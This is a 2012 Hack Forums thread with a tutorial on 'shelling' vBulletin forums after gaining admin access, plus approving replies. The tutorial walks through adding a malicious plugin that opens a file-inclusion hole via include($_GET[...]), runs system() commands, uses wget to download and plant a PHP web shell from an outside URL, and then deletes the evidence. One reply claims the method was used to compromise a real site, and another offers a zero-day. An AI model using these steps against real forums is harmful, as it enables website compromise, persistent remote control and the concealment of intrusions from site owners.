Spoof Call and Spoof SMS set any caller ◆ Traffic service & campaign optimization ◆ Private Crypter - Unique Private Stubs ◆ Cheap KYC Verifications & Openups ◆
Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact
Hack Forums Hacks, Exploits, and Various Discussions Grayhat • Purple Team • Hybrid Security Website Hacking › [Tut] Shelling vBulletin Forums [Pics!]

New Reply 

[Tut] Shelling vBulletin Forums [Pics!]
-DownFall
-DownFall Away
Inactive as of 6/10/14
***
HF Ub3r
Posts:
2,572
Threads:
128
Credibility:
000
Popularity:
9
βytes:
β 0
Game XP:
0
Feb 12, 2012 04:39 PM
Hey guys, today I'm gonna be showing you how to get your shell uploaded on vBulletin forums. Once you have admin access (not sure about Founder), log into your admin panel.

Usually it's something like this..
Code
http://www.site.com/forum/admincp/

If it's not, try /admin.


Once you're logged in, you should be presented with the oh so mighty vBulletin Admin Control Panel..
Spoiler (Click to View)


Now on the left, click plugins and products, and click on Add New Plugin.
Spoiler (Click to View)

It should take you to something that looks like this.
Spoiler (Click to View)

Product:vBulletin.
Hook Location: We're going to be executing remote code through the ajax plugin, so under Hook Location, click ajax_complete.
Title: .....whatever you want to name it.
Plugin PHP Code: This is where your code is going. First we want to check the disabled functions on the server. Let's see if we can get this PHP Info to show up...
Plugin is active: No

Code
phpinfo();

It should all look like this once you're done..
Spoiler (Click to View)

Now it should redirect you back to the plugins manager. If there's any plugins active under the ajax plugin, uncheck them and make sure yours is active. Scroll down and click "Save Active Status".

Should look something like this...
Spoiler (Click to View)

Now save it, and go to your ajax page.
Code
http://www.site.com/forum/ajax.php
Spoiler (Click to View)


Local File Inlcusion
allow_url_fopen = On
That means we can create a Local File Inclusion vulnerability.

Code
include($_GET[LFI])
Spoiler (Click to View)

Code
http://www.site.com/forum/ajax.php?LFI=/proc/self/status

Spoiler (Click to View)

Now you can poison logs, dig up juicy files, or use another method of LFI to get your shell up.


Remote File Inclusion

allow_url_include = Off
That means we can't create an RFI vulnerability until we get our shell up..

If we could, it would be almost the same thing as LFI.
Code
include($_GET[RFI])

Code
http://www.site.com/forum/ajax.php?RFI=http://www.site.com/shell.txt?


Remote Code Execution
Now, if any of these are disabled, you're going to have some trouble. If not, we can get our shell up using unix commands.

Code
system
exec
shell_exec
passthru

Code
system('ls');
That's a unix commands to list files, now see if it worked..

Code
http://www.site.com/forum/ajax.php
You should see all the files in the current directory.

Woot, site pwnt. Now you can use wget to get your shell uploaded..

Code
system('wget http://www.site.com/shell.txt -O shell.php');

Spoiler (Click to View)

Code
http://www.site.com/forum/shell.php
Spoiler (Click to View)

Game, there you go. Now you can activate the default plugin and delete your evidence.
Shoutout to the rest of Team Intra and my boys in Zer0Lulz for making this possible.
[Image: Rtkpf.png]
MSN - [email protected]
Web Hacking
Professional Hacker
Professional Hacker Offline
[bin@HF:]
***
HF l33t
Posts:
689
Threads:
137
Credibility:
700
Popularity:
38
βytes:
β 529.47
Game XP:
0
Feb 12, 2012 04:49 PM
Nice tutorial, haven't seen this method though.

All the method I had was uploading xml shell.

Thanks for this.
Hooded Robin
Hooded Robin Offline
[email protected]
***
HF Ub3r
Posts:
2,272
Threads:
104
Credibility:
000
Popularity:
77
βytes:
β 0
Game XP:
0
Feb 12, 2012 05:18 PM
Nice tutorial this should help quite a few people out and the chained exploit trick again is cool and genious! Really glad to see that I could help out a bit with the hashes, patience and hard work do pay off in the end ;)

HaxOr❤
HaxOr❤ Offline
INTRA
***
HF Ub3r
Posts:
4,952
Threads:
209
Credibility:
000
Popularity:
955
βytes:
β 100.5
Game XP:
0
Feb 12, 2012 05:22 PM
Nice one,but this method is really old.
I have like 0day for shelling vBulletin.

All i need is to upload one file. :)
๖ۣۜVictory
๖ۣۜVictory Offline
No more BlackHat
***
HF l33t
Posts:
994
Threads:
219
Credibility:
000
Popularity:
0
βytes:
β 0
Game XP:
0
Feb 12, 2012 05:31 PM
Nice tutorial .... I have been using Another Method more easier and it works but I will try this method for more xp :D
[Image: wUM0U9C.png]
-DownFall
-DownFall Away
Inactive as of 6/10/14
***
HF Ub3r
Posts:
2,572
Threads:
128
Credibility:
000
Popularity:
9
βytes:
β 0
Game XP:
0
Feb 12, 2012 05:46 PM
(Feb 12, 2012 05:22 PM)HaxOr❤ Wrote:  Nice one,but this method is really old.
I have like 0day for shelling vBulletin.

All i need is to upload one file. :)

Nice, I'm sure there's a lot of other methods we don't know of. All that counts is the one that works though :3
[Image: Rtkpf.png]
MSN - [email protected]
Web Hacking
HaxOr❤
HaxOr❤ Offline
INTRA
***
HF Ub3r
Posts:
4,952
Threads:
209
Credibility:
000
Popularity:
955
βytes:
β 100.5
Game XP:
0
Feb 12, 2012 06:18 PM
Mine one is working 99% of the time.
So yea,let me know if you want it. :]
Retribute
Retribute Away
[bin@HF:]
***
HF Ub3r
Posts:
3,542
Threads:
43
Credibility:
000
Popularity:
285
βytes:
β 15
Game XP:
0
Feb 12, 2012 08:31 PM
Another wonderful tutorial, -Downfall. This could be useful for me in the future. 🤝
[Image: npafFhp.gif]
The Ion
The Ion Away
[bin@HF:]
***
HF l33t
Posts:
1,074
Threads:
66
Credibility:
000
Popularity:
0
βytes:
β 0
Game XP:
0
Feb 12, 2012 08:46 PM
Another wonderful tutorial, -Downfall. nice one keep it up
-DownFall
-DownFall Away
Inactive as of 6/10/14
***
HF Ub3r
Posts:
2,572
Threads:
128
Credibility:
000
Popularity:
9
βytes:
β 0
Game XP:
0
Feb 12, 2012 10:24 PM
Thanks everyone, Haxor - I'll shoot you a PM I want to try it out lol.
[Image: Rtkpf.png]
MSN - [email protected]
Web Hacking
V3xD
V3xD Offline
/Anti-AntiVirus/
***
HF l33t
Posts:
1,423
Threads:
90
Credibility:
000
Popularity:
23
βytes:
β 0
Game XP:
0
Feb 13, 2012 12:16 AM
This is actually the method i used to shell eBaumsworld i found this tut on google nice paste op its useful.
Anti-AntiVirus Blog

Contact Info:Spoiler (Click to View)
mdhz786
Guest
 
Feb 13, 2012 12:21 AM
Very nice tut brother!
Thank you.
omar2205
omar2205 Offline
[n00b@HF:]
*
Registered
Posts:
13
Threads:
1
Credibility:
000
Popularity:
0
βytes:
β 0
Game XP:
0
Feb 13, 2012 12:37 AM
The thing is .... how the hell i'm gonna have the admin access ?
shah121
Guest
 
Feb 13, 2012 01:12 AM
gr8 tutorial...but difficult to find..admin page and even more difficult work is to how to crack username and pass ??
-DownFall
-DownFall Away
Inactive as of 6/10/14
***
HF Ub3r
Posts:
2,572
Threads:
128
Credibility:
000
Popularity:
9
βytes:
β 0
Game XP:
0
Feb 13, 2012 01:35 AM
(Feb 13, 2012 12:37 AM)omar2205 Wrote:  The thing is .... how the hell i'm gonna have the admin access ?

Dunno, not my problem lol. That's your job buddy.

(Feb 13, 2012 01:12 AM)shah121 Wrote:  gr8 tutorial...but difficult to find..admin page and even more difficult work is to how to crack username and pass ??

Dunno, I'm no superman. Just shows you how to shell vBulletin, not get the login info.
[Image: Rtkpf.png]
MSN - [email protected]
Web Hacking
Next Oldest | Next Newest
New Reply 


Possibly Related Threads...
Thread / Author Replies Views Last Post
by SeeUNov 26, 2020 05:28 PM 0 138 Nov 26, 2020 05:28 PM
Last Post: SeeU
by ibad17Jan 25, 2017 11:36 PM 14 3,840 Jan 25, 2017 11:36 PM
Last Post: Viktory
by Saint__Oct 12, 2016 02:00 AM 1 155 Oct 12, 2016 02:00 AM
Last Post: TehLulzyWolf